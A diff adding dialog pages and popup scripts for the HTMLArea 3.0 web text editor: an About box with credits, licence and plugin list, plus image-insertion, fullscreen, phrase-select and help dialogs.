+
+PopupDiv.getWindowSize = function() {
+ if (window.innerHeight) {
+ return { y: window.innerHeight, x: window.innerWidth };
+ }
+ if (this.doc.body.clientHeight) {
+ return { y: this.doc.body.clientHeight, x: this.doc.body.clientWidth };
+ }
+ return { y: this.doc.documentElement.clientHeight, x: this.doc.documentElement.clientWidth };
+};
+
+PopupDiv.prototype.hideShowCovered = function () {
+ var self = this;
+ function isContained(el) {
+ while (el) {
+ if (el == self.element) {
+ return true;
+ }
+ el = el.parentNode;
+ }
+ return false;
+ };
+ var tags = new Array("applet", "select");
+ var el = this.element;
+
+ var p = PopupDiv.getAbsolutePos(el);
+ var EX1 = p.x;
+ var EX2 = el.offsetWidth + EX1;
+ var EY1 = p.y;
+ var EY2 = el.offsetHeight + EY1;
+
+ if (el.style.display == "none") {
+ EX1 = EX2 = EY1 = EY2 = 0;
+ }
+
+ for (var k = tags.length; k > 0; ) {
+ var ar = this.doc.getElementsByTagName(tags[--k]);
+ var cc = null;
+
+ for (var i = ar.length; i > 0;) {
+ cc = ar[--i];
+ if (isContained(cc)) {
+ cc.style.visibility = "visible";
+ continue;
+ }
+
+ p = PopupDiv.getAbsolutePos(cc);
+ var CX1 = p.x;
+ var CX2 = cc.offsetWidth + CX1;
+ var CY1 = p.y;
+ var CY2 = cc.offsetHeight + CY1;
+
+ if ((CX1 > EX2) || (CX2 < EX1) || (CY1 > EY2) || (CY2 < EY1)) {
+ cc.style.visibility = "visible";
+ } else {
+ cc.style.visibility = "hidden";
+ }
+ }
+ }
+};
+
+PopupDiv.prototype._dragStart = function (ev) {
+ if (this.dragging) {
+ return false;
+ }
+ this.dragging = true;
+ PopupDiv.currentPopup = this;
+ var posX = ev.clientX;
+ var posY = ev.clientY;
+ if (is_ie) {
+ posY += this.doc.body.scrollTop;
+ posX += this.doc.body.scrollLeft;
+ } else {
+ posY += window.scrollY;
+ posX += window.scrollX;
+ }
+ var st = this.element.style;
+ this.xOffs = posX - parseInt(st.left);
+ this.yOffs = posY - parseInt(st.top);
+ HTMLArea._addEvent(this.doc, "mousemove", PopupDiv.dragIt);
+ HTMLArea._addEvent(this.doc, "mouseover", HTMLArea._stopEvent);
+ HTMLArea._addEvent(this.doc, "mouseup", PopupDiv.dragEnd);
+ HTMLArea._stopEvent(ev);
+};
+
+PopupDiv.dragIt = function (ev) {
+ var popup = PopupDiv.currentPopup;
+ if (!(popup && popup.dragging)) {
+ return false;
+ }
+ is_ie && (ev = window.event);
+ var posX = ev.clientX;
+ var posY = ev.clientY;
+ if (is_ie) {
+ posY += this.doc.body.scrollTop;
+ posX += this.doc.body.scrollLeft;
+ } else {
+ posY += window.scrollY;
+ posX += window.scrollX;
+ }
+ popup.hideShowCovered();
+ var st = popup.element.style;
+ st.left = (posX - popup.xOffs) + "px";
+ st.top = (posY - popup.yOffs) + "px";
+ HTMLArea._stopEvent(ev);
+};
+
+PopupDiv.dragEnd = function () {
+ var popup = PopupDiv.currentPopup;
+ if (!popup) {
+ return false;
+ }
+ popup.dragging = false;
+ HTMLArea._removeEvent(popup.doc, "mouseup", PopupDiv.dragEnd);
+ HTMLArea._removeEvent(popup.doc, "mouseover", HTMLArea._stopEvent);
+ HTMLArea._removeEvent(popup.doc, "mousemove", PopupDiv.dragIt);
+ popup.hideShowCovered();
+};
+
+PopupDiv.checkPopup = function (ev) {
+ is_ie && (ev = window.event);
+ var el = is_ie ? ev.srcElement : ev.target;
+ var cp = PopupDiv.currentPopup;
+ for (; (el != null) && (el != cp.element); el = el.parentNode);
+ if (el == null) {
+ cp.modal || ev.type == "mouseover" || cp.close();
+ HTMLArea._stopEvent(ev);
+ }
+};
+
+PopupDiv.prototype.addButtons = function() {
+ var self = this;
+ var div = this.doc.createElement("div");
+ this.content.appendChild(div);
+ div.className = "buttons";
+ for (var i = 0; i < arguments.length; ++i) {
+ var btn = arguments[i];
+ var button = this.doc.createElement("button");
+ div.appendChild(button);
+ button.innerHTML = HTMLArea.I18N.buttons[btn];
+ switch (btn) {
+ case "ok":
+ button.onclick = function() {
+ self.callHandler();
+ self.close();
+ };
+ break;
+ case "cancel":
+ button.onclick = function() {
+ self.close();
+ };
+ break;
+ }
+ }
+};
--- /dev/null
+<!--
+
+(c) dynarch.com, 2003-2004
+Author: Mihai Bazon, http://dynarch.com/mishoo
+Distributed as part of HTMLArea 3.0
+
+"You are not expected to understand this... I don't neither."
+
+ (from The Linux Kernel Source Code,
+ ./arch/x86_64/ia32/ptrace.c:90)
+
+;-)
+
+-->
+
+<html style="height: 100%">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<title>About HTMLArea</title>
+<script type="text/javascript" src="popup.js"></script>
+<script type="text/javascript">
+window.resizeTo(450, 250);
+var TABS = [];
+var CURRENT_TAB = 0;
+var CONTENT_HEIGHT_DIFF = 0;
+var CONTENT_WIDTH_DIFF = 0;
+function selectTab(idx) {
+ var ct = TABS[CURRENT_TAB];
+ ct.className = ct.className.replace(/\s*tab-current\s*/, ' ');
+ ct = TABS[CURRENT_TAB = idx];
+ ct.className += ' tab-current';
+ for (var i = TABS.length; --i >= 0;) {
+ var area = document.getElementById("tab-area-" + i);
+ if (CURRENT_TAB == i) {
+ area.style.display = "block";
+ } else {
+ area.style.display = "none";
+ }
+ }
+ document.body.style.visibility = "hidden";
+ document.body.style.visibility = "visible";
+ document.cookie = "HTMLAREA-ABOUT-TAB=" + idx;
+}
+var editor = null;
+function initDocument() {
+ editor = window.dialogArguments;
+ HTMLArea = window.opener.HTMLArea;
+
+ var plugins = document.getElementById("plugins");
+ var j = 0;
+ var html = "<table width='99%' cellpadding='0' style='margin-top: 1em; collapse-borders: collapse; border: 1px solid #8b8;'>" +
+ "<thead><tr>" +
+ "<td>Name</td>" +
+ "<td>Developer</td>" +
+ "<td>Sponsored by</td>" +
+ "<td>License<sup>*</sup></td>" +
+ "</tr></thead><tbody>";
+ for (var i in editor.plugins) {
+ var info = editor.plugins[i];
+ html += "<tr><td>" + info.name + " v" + info.version + "</td>" +
+ "<td><a href='" + info.developer_url + "' target='_blank' title='Visit developer website'>" +
+ info.developer + "</a></td>" +
+ "<td><a href='" + info.sponsor_url + "' target='_blank' title='Visit sponsor website'>" +
+ info.sponsor + "</a></td>" +
+ "<td>" + info.license + "</td></tr>";
+ ++j;
+ }
+
+ if (j) {
+ html += "</tbody></table>" +
+ "<p><sup>*</sup> License \"htmlArea\" means that the plugin is distributed under the same terms " +
+ "as HTMLArea itself. Such plugins are likely to be those included in the official " +
+ "HTMLArea distribution</p>";
+ plugins.innerHTML = "<p>The following plugins have been loaded.</p>" + html;
+ } else {
+ plugins.innerHTML = "<p>No plugins have been loaded</p>";
+ }
+
+ plugins.innerHTML += "<p>User agent reports:<br/>" + navigator.userAgent + "</p>";
+
+ var content = document.getElementById("content");
+ if (window.innerHeight) {
+ CONTENT_HEIGHT_DIFF = window.innerHeight - 250;
+ CONTENT_WIDTH_DIFF = window.innerWidth - content.offsetWidth;
+ } else {
+ CONTENT_HEIGHT_DIFF = document.body.offsetHeight - 250;
+ CONTENT_WIDTH_DIFF = document.body.offsetWidth - 400;
+ }
+ window.onresize();
+ var bar = document.getElementById("tabbar");
+ j = 0;
+ for (var i = bar.firstChild; i; i = i.nextSibling) {
+ TABS.push(i);
+ i.__msh_tab = j;
+ i.onmousedown = function(ev) { selectTab(this.__msh_tab); HTMLArea._stopEvent(ev || window.event); };
+ var area = document.getElementById("tab-area-" + j);
+ if (/tab-current/.test(i.className)) {
+ CURRENT_TAB = j;
+ area.style.display = "block";
+ } else {
+ area.style.display = "none";
+ }
+ ++j;
+ }
+ if (document.cookie.match(/HTMLAREA-ABOUT-TAB=([0-9]+)/))
+ selectTab(RegExp.$1);
+}
+window.onresize = function() {
+ var content = document.getElementById("content");
+ if (window.innerHeight) {
+ content.style.height = (window.innerHeight - CONTENT_HEIGHT_DIFF) + "px";
+ content.style.width = (window.innerWidth - CONTENT_WIDTH_DIFF) + "px";
+ } else {
+ content.style.height = (document.body.offsetHeight - CONTENT_HEIGHT_DIFF) + "px";
+ //content.style.width = (document.body.offsetWidth - CONTENT_WIDTH_DIFF) + "px";
+ }
+}
+</script>
+<style>
+ html,body,textarea,table { font-family: tahoma,verdana,arial; font-size: 11px;
+padding: 0px; margin: 0px; }
+ tt { font-size: 120%; }
+ body { padding: 0px; background: #cea; color: 000; }
+ a:link, a:visited { color: #00f; }
+ a:hover { color: #f00; }
+ a:active { color: #f80; }
+ button { font: 11px tahoma,verdana,sans-serif; background-color: #cea;
+ border-width: 1px; }
+
+ p { margin: 0.5em 0px; }
+
+ h1 { font: bold 130% georgia,"times new roman",serif; margin: 0px; border-bottom: 1px solid #6a6; }
+ h2 { font: bold 110% georgia,"times new roman",serif; margin: 0.7em 0px; }
+
+ thead {
+ font-weight: bold;
+ background-color: #dfb;
+ }
+
+ .logo, .logo-hover {
+ white-space: nowrap;
+ background-color: #8f4; color: #040; padding: 3px; border-bottom: 1px solid #555;
+ height: 5em;
+ }
+ .logo .brand, .logo-hover .brand {
+ margin-left: 0.5em; margin-right: 0.5em; padding-bottom: 0.1em;
+ font-family: impact,'arial black',arial,sans-serif; font-size: 28px;
+ border-bottom: 1px solid #595; text-align: center;
+ cursor: pointer;
+ }
+ .logo-hover {
+ background-color: #fff;
+ }
+ .logo-hover .brand {
+ color: #800;
+ border-color: #04f;
+ }
+ .logo .letter, .logo-hover .letter { position: relative; font-family: monospace; }
+ .logo .letter1 { top: 0.1em; }
+ .logo .letter2 { top: 0.05em; }
+ .logo .letter3 { top: -0.05em; }
+ .logo .letter4 { top: -0.1em; }
+
+ .logo-hover .letter1 { top: -0.1em; }
+ .logo-hover .letter2 { top: -0.05em; }
+ .logo-hover .letter3 { top: 0.05em; }
+ .logo-hover .letter4 { top: 0.1em; }
+ .logo .version, .logo-hover .version { font-family: georgia,"times new roman",serif; }
+ .logo .release {
+ font-size: 90%; margin-bottom: 1em;
+ text-align: center; color: #484;
+ }
+ .logo .visit { display: none; }
+ .logo-hover .release { display: none; }
+ .logo-hover .visit {
+ font-size: 90%; margin-bottom: 1em;
+ text-align: center; color: #448;
+ }
+ .buttons {
+ text-align: right; padding: 3px; background-color: #8f4;
+ border-top: 1px solid #555;
+ }
+ #tabbar {
+ position: relative;
+ left: 10px;
+ }
+ .tab {
+ color: #454;
+ cursor: pointer;
+ margin-left: -5px;
+ float: left; position: relative;
+ border: 1px solid #555;
+ top: -3px; left: -2px;
+ padding: 2px 10px 3px 10px;
+ border-top: none; background-color: #9b7;
+ -moz-border-radius: 0px 0px 4px 4px;
+ z-index: 0;
+ }
+ .tab-current {
+ color: #000;
+ top: -4px;
+ background-color: #cea;
+ padding: 3px 10px 4px 10px;
+ z-index: 10;
+ }
+ table.sponsors { border-top: 1px solid #aca; }
+ table.sponsors td {
+ border-bottom: 1px solid #aca; vertical-align: top;
+ }
+ table.sponsors tr td { padding: 2px 0px; }
+ table.sponsors tr td.sponsor { text-align: right; padding-right: 0.3em; white-space: nowrap; }
+ li, ol, ul { margin-top: 0px; margin-bottom: 0px; }
+</style></head>
+<body onload="__dlg_init(); initDocument();"
+><table cellspacing="0" cellpadding="0" style="border-collapse: collapse;
+ width: 100%; height: 100%;">
+
+<tr style="height: 1em"><td id="tdheader">
+
+<div class="logo">
+<div class="brand"
+onmouseover="this.parentNode.className='logo-hover';"
+onmouseout="this.parentNode.className='logo';"
+onclick="window.open('http://dynarch.com/htmlarea/');">
+<span class="letter letter1"><H</span><span
+class="letter letter2">T</span><span
+class="letter letter3">M</span><span
+class="letter letter4">L</span>Area <span class="letter">/></span>
+<span class="version"><% $version.$release %></span></div>
+<div class="release">Compiled on <% $time %></div>
+<div class="visit">Go to http://dynarch.com/htmlarea/ [latest milestone release]</div>
+</div>
+
+</td></tr>
+<tr><td id="tdcontent" style="padding: 0.5em;">
+
+<div style="overflow: auto; height: 250px;" id="content">
+<div id="tab-areas">
+
+<div id="tab-area-0">
+
+ <h1>HTMLArea</h1>
+
+ <p>A free WYSIWYG editor replacement for <tt><textarea></tt> fields.<br />
+ For Mozilla 1.3+ (any platform) or Internet Explorer 5.5+ (Windows).
+ </p>
+
+ <p style="text-align: center"
+ >© 2002-2004 <a href="http://interactivetools.com" target="_blank">interactivetools.com</a>, inc.<br />
+ © 2003-2004 <a href="http://dynarch.com" target="_blank">dynarch.com</a> LLC.<br />
+ All Rights Reserved.</p>
+
+ <h2>Project resources</h2>
+
+ <ul>
+ <li><a href="http://sourceforge.net/projects/itools-htmlarea/" target="_blank"
+ >Project page</a> (@ sourceforge.net)</li>
+ <li><a href="http://sourceforge.net/cvs/?group_id=69750" target="_blank"
+ >Anonymous CVS access</a> (@ sourceforge.net)</li>
+ <li><a href="http://sourceforge.net/tracker/?atid=525656&group_id=69750&func=browse" target="_blank"
+ >Bug system</a> (@ sourceforge.net)</li>
+ <li><a href="http://www.interactivetools.com/forum/gforum.cgi?forum=14;" target="_blank"
+ >Forum</a> (@ interactivetools.com)</li>
+ <li><a href="http://www.dynarch.com/htmlarea/" target="_blank"
+ >Last public release</a> (@ dynarch.com)</li>
+ </ul>
+
+ <p>
+ For download section please see the <a href="http://sourceforge.net/projects/itools-htmlarea/" target="_blank"
+ >project page @ SourceForge</a>.
+ </p>
+
+<p style="margin-top: 1em; text-align: center;">Version 3.0 developed and maintained by <a
+href="http://dynarch.com/mishoo/" title="http://dynarch.com/mishoo/" target="_blank">Mihai Bazon</a> / <a
+href="http://dynarch.com" title="http://dynarch.com/" target="_blank">dynarch.com</a></p>
+
+</div>
+
+<div id="tab-area-1">
+<h1>Thank you</h1>
+
+ <p>
+ <a href="http://dynarch.com" target="_blank">dynarch.com</a> would like to thank the following
+ companies/persons for their <em>donations</em> to support development of HTMLArea (listed alphabetically):
+ </p>
+
+ <ul>
+ <li><a href="http://www.computerlove.co.uk" target="_blank">Code Computer Love Ltd.</a> (UK)</li>
+ <li><a href="http://www.neomedia.ro" target="_blank">Neomedia</a> (Romania)</li>
+ <li><a href="http://www.os3.it" target="_blank">OS3</a> (Italy)</li>
+ <li><a href="http://www.softwerk.net" target="_blank">SoftWerk</a> (Italy)</li>
+ </ul>
+
+ <p>Also many thanks to all people at InteractiveTools.com
+ <a href="http://www.interactivetools.com/forum/gforum.cgi?forum=14;">HTMLArea forums</a> for
+ contributing translations, feedback, bug reports and fixes.</p>
+
+ <p>
+ Last but not least, this project wouldn't have existed without
+ <a href="http://interactivetools.com" target="_blank">InteractiveTools.com</a>.
+ </p>
+
+</div>
+
+<div id="tab-area-2">
+<h1>htmlArea License (based on BSD license)</h1>
+
+<p style="text-align: center">© 2002-2004, interactivetools.com, inc.<br />
+ © 2003-2004 dynarch.com LLC<br />
+ All rights reserved.</p>
+
+<p>
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+</p>
+
+<ol>
+<li>
+Redistributions of source code must retain the above copyright notice,
+this list of conditions and the following disclaimer.
+</li>
+
+<li>
+Redistributions in binary form must reproduce the above copyright notice,
+this list of conditions and the following disclaimer in the documentation
+and/or other materials provided with the distribution.
+</li>
+
+<li>
+Neither the name of interactivetools.com, inc. nor the names of its
+contributors may be used to endorse or promote products derived from this
+software without specific prior written permission.
+</li>
+</ol>
+
+<p>
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
+</p>
+
+</div>
+
+<div id="tab-area-3">
+<h1>Plugins</h1>
+<div id="plugins">
+</div>
+</div>
+
+</div></div>
+
+
+</tr></td>
+<tr style="height: 1em"><td id="tdfooter">
+
+
+<div class="buttons">
+<div id="tabbar"
+><div class="tab tab-current"
+>About</div><div class="tab"
+>Thanks</div><div class="tab"
+>License</div><div class="tab"
+>Plugins</div></div>
+<button type="button" onclick="__dlg_close(null);">I agree it's cool</button>
+</div>
+
+</td></tr></table>
+
+</body></html>
+
+<%ARGS>
+ $version => '3.0'
+ $release => 'beta+'
+ $basename => 'HTMLArea-3.0-beta'
+</%ARGS>
+
+<%INIT>;
+if ($release =~ /\S/) {
+ $release = ' <span style="position: relative; top: -0.6em; font-size: 50%; font-weight: normal">[ rev. '.$release.' ]</span>';
+}
+
+use POSIX qw(strftime);
+my $time = strftime '%b %e, %Y %H:%M GMT', gmtime;
+</%INIT>
--- /dev/null
+<html>\r\r
+</html>
\ No newline at end of file
--- /dev/null
+<html style="width:300px; Height: 60px;">\r\r
+ <head>\r\r
+ <title>Select Phrase</title>\r\r
+<script language="javascript">\r\r
+\r\r
+var myTitle = window.dialogArguments;\r\r
+document.title = myTitle;\r\r
+\r\r
+\r\r
+function returnSelected() {\r\r
+ var idx = document.all.textPulldown.selectedIndex;\r\r
+ var text = document.all.textPulldown[idx].text;\r\r
+\r\r
+ window.returnValue = text; // set return value\r\r
+ window.close(); // close dialog\r\r
+}\r\r
+\r\r
+</script>\r\r
+</head>\r\r
+<body bgcolor="#FFFFFF" topmargin=15 leftmargin=0>\r\r
+\r\r
+<form method=get onSubmit="Set(document.all.ColorHex.value); return false;">\r\r
+<div align=center>\r\r
+\r\r
+<select name="textPulldown">\r\r
+<option>The quick brown</option>\r\r
+<option>fox jumps over</option>\r\r
+<option>the lazy dog.</option>\r\r
+</select>\r\r
+\r\r
+<input type="button" value=" Go " onClick="returnSelected()">\r\r
+\r\r
+</div>\r\r
+</form>\r\r
+</body></html>
\ No newline at end of file
--- /dev/null
+<html>\r\r
+ <head>\r\r
+ <title>Editor Help</title>\r\r
+ <style>\r\r
+ body, td, p, div { font-family: arial; font-size: x-small; }\r\r
+ </style>\r\r
+ </head>\r\r
+<body>\r\r
+\r\r
+<h2>Editor Help<hr></h2>\r\r
+\r\r
+Todo...\r\r
+\r\r
+\r\r
+</body>\r\r
+</html>
\ No newline at end of file
--- /dev/null
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">\r\r
+<html>\r\r
+ <head>\r\r
+ <title>Fullscreen HTMLArea</title>\r\r
+ <script type="text/javascript">\r\r
+ _editor_url = window.opener._editor_url;\r\r
+ _editor_lang = window.opener._editor_lang;\r\r
+ var BASE = window.opener.document.baseURI || window.opener.document.URL;\r\r
+ var head = document.getElementsByTagName("head")[0];\r\r
+ var base = document.createElement("base");\r\r
+ base.href = BASE;\r\r
+ head.appendChild(base);\r\r
+ </script>\r\r
+\r\r
+ <script type="text/javascript" src="../htmlarea.js"></script>\r\r
+\r\r
+ <script type="text/javascript">\r\r
+ // load HTMLArea scripts that are present in the opener frame\r\r
+ var scripts = window.opener.HTMLArea._scripts;\r\r
+ for (var i = 4; i < scripts.length; ++i) {\r\r
+ document.write("<scr" + "ipt type='text/javascript' src='" + scripts[i] + "'></scr" + "ipt>");\r\r
+ }\r\r
+ </script>\r\r
+\r\r
+ <!-- browser takes a coffee break here -->\r\r
+ <script type="text/javascript">\r\r
+var parent_object = null;\r\r
+var editor = null; // to be initialized later [ function init() ]\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : \r\r
+ Description : \r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function _CloseOnEsc(ev) {\r\r
+ ev || (ev = window.event);\r\r
+ if (ev.keyCode == 27) {\r\r
+ // update_parent();\r\r
+ window.close();\r\r
+ return;\r\r
+ }\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : resize_editor\r\r
+ Description : resize the editor when the user resizes the popup\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function resize_editor() { // resize editor to fix window\r\r
+ var newHeight;\r\r
+ if (document.all) {\r\r
+ // IE\r\r
+ newHeight = document.body.offsetHeight - editor._toolbar.offsetHeight;\r\r
+ if (newHeight < 0) { newHeight = 0; }\r\r
+ } else {\r\r
+ // Gecko\r\r
+ newHeight = window.innerHeight - editor._toolbar.offsetHeight;\r\r
+ }\r\r
+ if (editor.config.statusBar) {\r\r
+ newHeight -= editor._statusBar.offsetHeight;\r\r
+ }\r\r
+ editor._textArea.style.height = editor._iframe.style.height = newHeight + "px";\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : init\r\r
+ Description : run this code on page load\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function init() {\r\r
+ parent_object = opener.HTMLArea._object;\r\r
+ var config = HTMLArea.cloneObject( parent_object.config );\r\r
+ config.width = "100%";\r\r
+ config.height = "auto";\r\r
+\r\r
+ // change maximize button to minimize button\r\r
+ config.btnList["popupeditor"] = [ 'Minimize Editor', _editor_url + 'images/fullscreen_minimize.gif', true,\r\r
+ function() { window.close(); } ];\r\r
+\r\r
+ // generate editor and resize it\r\r
+ editor = new HTMLArea("editor", config);\r\r
+\r\r
+ // register the plugins, if any\r\r
+ for (var i in parent_object.plugins) {\r\r
+ var plugin = parent_object.plugins[i];\r\r
+ editor.registerPlugin2(plugin.name, plugin.args);\r\r
+ }\r\r
+ // and restore the original toolbar\r\r
+ config.toolbar = parent_object.config.toolbar;\r\r
+ editor.generate();\r\r
+ editor._iframe.style.width = "100%";\r\r
+ editor._textArea.style.width = "100%";\r\r
+ resize_editor();\r\r
+\r\r
+ editor.doctype = parent_object.doctype;\r\r
+\r\r
+ // set child window contents and event handlers, after a small delay\r\r
+ setTimeout(function() {\r\r
+ editor.setHTML(parent_object.getInnerHTML());\r\r
+\r\r
+ // switch mode if needed\r\r
+ if (parent_object._mode == "textmode") { editor.setMode("textmode"); }\r\r
+\r\r
+ // continuously update parent editor window\r\r
+ setInterval(update_parent, 500);\r\r
+\r\r
+ // setup event handlers\r\r
+ document.body.onkeypress = _CloseOnEsc;\r\r
+ editor._doc.body.onkeypress = _CloseOnEsc;\r\r
+ editor._textArea.onkeypress = _CloseOnEsc;\r\r
+ window.onresize = resize_editor;\r\r
+ }, 333); // give it some time to meet the new frame\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : update_parent\r\r
+ Description : update parent window editor field with contents from child window\r\r
+ \* ---------------------------------------------------------------------- */\r\r
+\r\r
+function update_parent() {\r\r
+ // use the fast version\r\r
+ parent_object.setHTML(editor.getInnerHTML());\r\r
+}\r\r
+\r\r
+ </script>\r\r
+ <style type="text/css"> html, body { height: 100%; margin: 0px; border: 0px; background-color: buttonface; } </style>\r\r
+ </head>\r\r
+ <body scroll="no" onload="setTimeout(function(){init();}, 500)" onunload="update_parent()">\r\r
+ <form style="margin: 0px; border: 1px solid; border-color: threedshadow threedhighlight threedhighlight threedshadow;">\r\r
+ <textarea name="editor" id="editor" style="width:100%; height:300px"> </textarea>\r\r
+ </form>\r\r
+ </body>\r\r
+</html>\r\r
--- /dev/null
+<html>\r\r
+\r\r
+<head>\r\r
+ <title>Insert Image</title>\r\r
+\r\r
+<script type="text/javascript" src="popup.js"></script>\r\r
+\r\r
+<script type="text/javascript">\r\r
+\r\r
+window.resizeTo(400, 100);\r\r
+\r\r
+function Init() {\r\r
+ __dlg_init();\r\r
+ var param = window.dialogArguments;\r\r
+ if (param) {\r\r
+ document.getElementById("f_url").value = param["f_url"];\r\r
+ document.getElementById("f_alt").value = param["f_alt"];\r\r
+ document.getElementById("f_border").value = param["f_border"];\r\r
+ document.getElementById("f_align").value = param["f_align"];\r\r
+ document.getElementById("f_vert").value = param["f_vert"];\r\r
+ document.getElementById("f_horiz").value = param["f_horiz"];\r\r
+ window.ipreview.location.replace(param.f_url);\r\r
+ }\r\r
+ document.getElementById("f_url").focus();\r\r
+};\r\r
+\r\r
+function onOK() {\r\r
+ var required = {\r\r
+ "f_url": "You must enter the URL"\r\r
+ };\r\r
+ for (var i in required) {\r\r
+ var el = document.getElementById(i);\r\r
+ if (!el.value) {\r\r
+ alert(required[i]);\r\r
+ el.focus();\r\r
+ return false;\r\r
+ }\r\r
+ }\r\r
+ // pass data back to the calling window\r\r
+ var fields = ["f_url", "f_alt", "f_align", "f_border",\r\r
+ "f_horiz", "f_vert"];\r\r
+ var param = new Object();\r\r
+ for (var i in fields) {\r\r
+ var id = fields[i];\r\r
+ var el = document.getElementById(id);\r\r
+ param[id] = el.value;\r\r
+ }\r\r
+ __dlg_close(param);\r\r
+ return false;\r\r
+};\r\r
+\r\r
+function onCancel() {\r\r
+ __dlg_close(null);\r\r
+ return false;\r\r
+};\r\r
+\r\r
+function onPreview() {\r\r
+ var f_url = document.getElementById("f_url");\r\r
+ var url = f_url.value;\r\r
+ if (!url) {\r\r
+ alert("You have to enter an URL first");\r\r
+ f_url.focus();\r\r
+ return false;\r\r
+ }\r\r
+ window.ipreview.location.replace(url);\r\r
+ return false;\r\r
+};\r\r
+</script>\r\r
+\r\r
+<style type="text/css">\r\r
+html, body {\r\r
+ background: ButtonFace;\r\r
+ color: ButtonText;\r\r
+ font: 11px Tahoma,Verdana,sans-serif;\r\r
+ margin: 0px;\r\r
+ padding: 0px;\r\r
+}\r\r
+body { padding: 5px; }\r\r
+table {\r\r
+ font: 11px Tahoma,Verdana,sans-serif;\r\r
+}\r\r
+form p {\r\r
+ margin-top: 5px;\r\r
+ margin-bottom: 5px;\r\r
+}\r\r
+.fl { width: 9em; float: left; padding: 2px 5px; text-align: right; }\r\r
+.fr { width: 6em; float: left; padding: 2px 5px; text-align: right; }\r\r
+fieldset { padding: 0px 10px 5px 5px; }\r\r
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }\r\r
+button { width: 70px; }\r\r
+.space { padding: 2px; }\r\r
+\r\r
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;\r\r
+border-bottom: 1px solid black; letter-spacing: 2px;\r\r
+}\r\r
+form { padding: 0px; margin: 0px; }\r\r
+</style>\r\r
+\r\r
+</head>\r\r
+\r\r
+<body onload="Init()">\r\r
+\r\r
+<div class="title">Insert Image</div>\r\r
+<!--- new stuff --->\r\r
+<form action="" method="get">\r\r
+<table border="0" width="100%" style="padding: 0px; margin: 0px">\r\r
+ <tbody>\r\r
+\r\r
+ <tr>\r\r
+ <td style="width: 7em; text-align: right">Image URL:</td>\r\r
+ <td><input type="text" name="url" id="f_url" style="width:75%"\r\r
+ title="Enter the image URL here" />\r\r
+ <button name="preview" onclick="return onPreview();"\r\r
+ title="Preview the image in a new window">Preview</button>\r\r
+ </td>\r\r
+ </tr>\r\r
+ <tr>\r\r
+ <td style="width: 7em; text-align: right">Alternate text:</td>\r\r
+ <td><input type="text" name="alt" id="f_alt" style="width:100%"\r\r
+ title="For browsers that don't support images" /></td>\r\r
+ </tr>\r\r
+\r\r
+ </tbody>\r\r
+</table>\r\r
+\r\r
+<p />\r\r
+\r\r
+<fieldset style="float: left; margin-left: 5px;">\r\r
+<legend>Layout</legend>\r\r
+\r\r
+<div class="space"></div>\r\r
+\r\r
+<div class="fl">Alignment:</div>\r\r
+<select size="1" name="align" id="f_align"\r\r
+ title="Positioning of this image">\r\r
+ <option value="" >Not set</option>\r\r
+ <option value="left" >Left</option>\r\r
+ <option value="right" >Right</option>\r\r
+ <option value="texttop" >Texttop</option>\r\r
+ <option value="absmiddle" >Absmiddle</option>\r\r
+ <option value="baseline" selected="1" >Baseline</option>\r\r
+ <option value="absbottom" >Absbottom</option>\r\r
+ <option value="bottom" >Bottom</option>\r\r
+ <option value="middle" >Middle</option>\r\r
+ <option value="top" >Top</option>\r\r
+</select>\r\r
+\r\r
+<p />\r\r
+\r\r
+<div class="fl">Border thickness:</div>\r\r
+<input type="text" name="border" id="f_border" size="5"\r\r
+title="Leave empty for no border" />\r\r
+\r\r
+<div class="space"></div>\r\r
+\r\r
+</fieldset>\r\r
+\r\r
+<fieldset style="float:right; margin-right: 5px;">\r\r
+<legend>Spacing</legend>\r\r
+\r\r
+<div class="space"></div>\r\r
+\r\r
+<div class="fr">Horizontal:</div>\r\r
+<input type="text" name="horiz" id="f_horiz" size="5"\r\r
+title="Horizontal padding" />\r\r
+\r\r
+<p />\r\r
+\r\r
+<div class="fr">Vertical:</div>\r\r
+<input type="text" name="vert" id="f_vert" size="5"\r\r
+title="Vertical padding" />\r\r
+\r\r
+<div class="space"></div>\r\r
+\r\r
+</fieldset>\r\r
+<br clear="all" />\r\r
+<table width="100%" style="margin-bottom: 0.2em">\r\r
+ <tr>\r\r
+ <td valign="bottom">\r\r
+ Image Preview:<br />\r\r
+ <iframe name="ipreview" id="ipreview" frameborder="0" style="border : 1px solid gray;" height="200" width="300" src=""></iframe>\r\r
+ </td>\r\r
+ <td valign="bottom" style="text-align: right">\r\r
+ <button type="button" name="ok" onclick="return onOK();">OK</button><br>\r\r
+ <button type="button" name="cancel" onclick="return onCancel();">Cancel</button>\r\r
+ </td>\r\r
+ </tr>\r\r
+</table>\r\r
